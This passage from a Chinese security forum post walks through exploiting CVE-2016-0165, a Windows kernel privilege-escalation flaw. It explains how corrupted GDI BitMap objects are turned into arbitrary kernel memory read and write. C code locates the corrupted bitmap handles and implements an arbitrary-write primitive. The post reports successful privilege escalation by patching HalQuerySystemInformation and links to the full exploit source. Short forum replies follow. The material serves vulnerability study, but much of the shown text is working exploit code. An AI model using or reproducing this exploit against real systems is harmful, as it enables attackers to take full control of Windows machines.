现在已经可以通过漏洞修改相邻页中的BitMap对象的cy,这样该对象可读写的内存空间会变得很大,可以利用这个特征修改该BitMap对象下一内存页中的BitMap对象中的pvScan,以此来实现任意地址读写。而要知道被修改的BitMap对象,只需要通过GetBitmapBits函数获取返回值,如果返回值大于创建BitMap对象时指定的可读写返回,那么就证明该BitMap被修改过。另外,因为下一页中的BitMap对象句柄未必其相邻,所以要通过SetBitmapBits修改下一内存页的BitMap对象的cy,通过一样的方法获取其句柄。相关代码如下:

	pBmpHunted = (PDWORD)malloc(0x1000);
	ZeroMemory(pBmpHunted, 0x1000);

	// 获取被漏洞修改的BitMap对象
	for (i = 0; i < dwCount; i++)
	{
		if (GetBitmapBits(hBitMap[i], 0x1000, pBmpHunted) > 0x2D0)
		{
			hBmpHunted = hBitMap[i];
			break;
		}
	}

	if (hBmpHunted == NULL || (pBmpHunted[iExtpScan0] & 0xFFF) != 0x00000CCC)
	{
		printf("Find hBmpHunted Error\n");
		bRet = FALSE;
		goto exit;
	}

	// 设置相邻页的BitMap对象的cy
	if (!xxPoint(iExtHeight, 0xFFFFFFFF))
	{
		bRet = FALSE;
		goto exit;
	}

	// 获取相邻页的BitMap对象的句柄
	PVOID pBmpExtend = malloc(0x1000);
	for (i = 0; i < dwCount; i++)
	{
		if (hBitMap[i] != hBmpHunted && GetBitmapBits(hBitMap[i], 0x1000, pBmpExtend) > 0x2D0)
		{
			hBmpExtend = hBitMap[i];
			break;
		}
	}

	if (hBmpExtend == NULL)
	{
		printf("Find hBmpExtend Error\n");
		bRet = FALSE;
		goto exit;
	}

有了这两个BitMap对象就可以通过以下代码实现任意地址读写:

BOOL xxPointToHit(LONG addr, PVOID pvBits, DWORD cb)
{
	BOOL bRet = TRUE;
	DWORD dwAddr = 0;
	
	pBmpHunted[iExtpScan0] = addr;
	if (SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted) < 0x1000)
	{
		ShowError("SetBitmapBits", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	if (SetBitmapBits(hBmpExtend, cb, pvBits) < cb)
	{
		ShowError("SetBitmapBits", GetLastError());
		bRet = FALSE;
		goto exit;
	}

exit:
	return bRet;
}

在进行任意地址读写的时候,除了修改实现提权必要的数据以外,还需要修改由于漏洞对其申请的内存相邻的内存页的剪切板数据和BitMap对象中的数据。限于篇幅就不展开,具体看参考资料中的链接。

四.运行结果 

参考链接的作者通过直接修改Token实现提权,这里通过修改HalQuerySystemInformation函数来实现提权,相关代码已经上传到Github,链接为:https://github.com/LegendSaber/exp/blob/master/exp/CVE-2016-0165.cpp。编译运行程序,最终可以看到程序成功提权:

五.参考资料


【看雪培训】《Adroid高级研修班》2022年夏季班招生中!

最后于 2022-5-9 08:51 被1900编辑 ,原因:
收藏
点赞0
打赏
分享
打赏 + 50.00雪花
打赏次数 1 雪花 + 50.00
 
赞赏  Editor   +50.00 2022/06/20 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (4)
雪    币: 2300
活跃值: 活跃值 (2504)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
blck四 活跃值 1 2022-5-8 13:20
2
0
打破0回复
雪    币: 17492
活跃值: 活跃值 (15912)
能力值: ( LV15,RANK:740 )
在线值:
发帖
回帖
粉丝
1900 活跃值 5 2022-5-8 15:00
3
0
blck四 打破0回复
感谢捧场哈哈哈
雪    币: 723
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
dp_grost 活跃值 2022-5-8 23:35
4
0
上传到Github
雪    币: 17492
活跃值: 活跃值 (15912)
能力值: ( LV15,RANK:740 )
在线值:
发帖
回帖
粉丝
1900 活跃值 5 2022-5-9 08:52
5
0
dp_grost 上传到Github
已改,真细节啊
游客
登录 | 注册 方可回帖
返回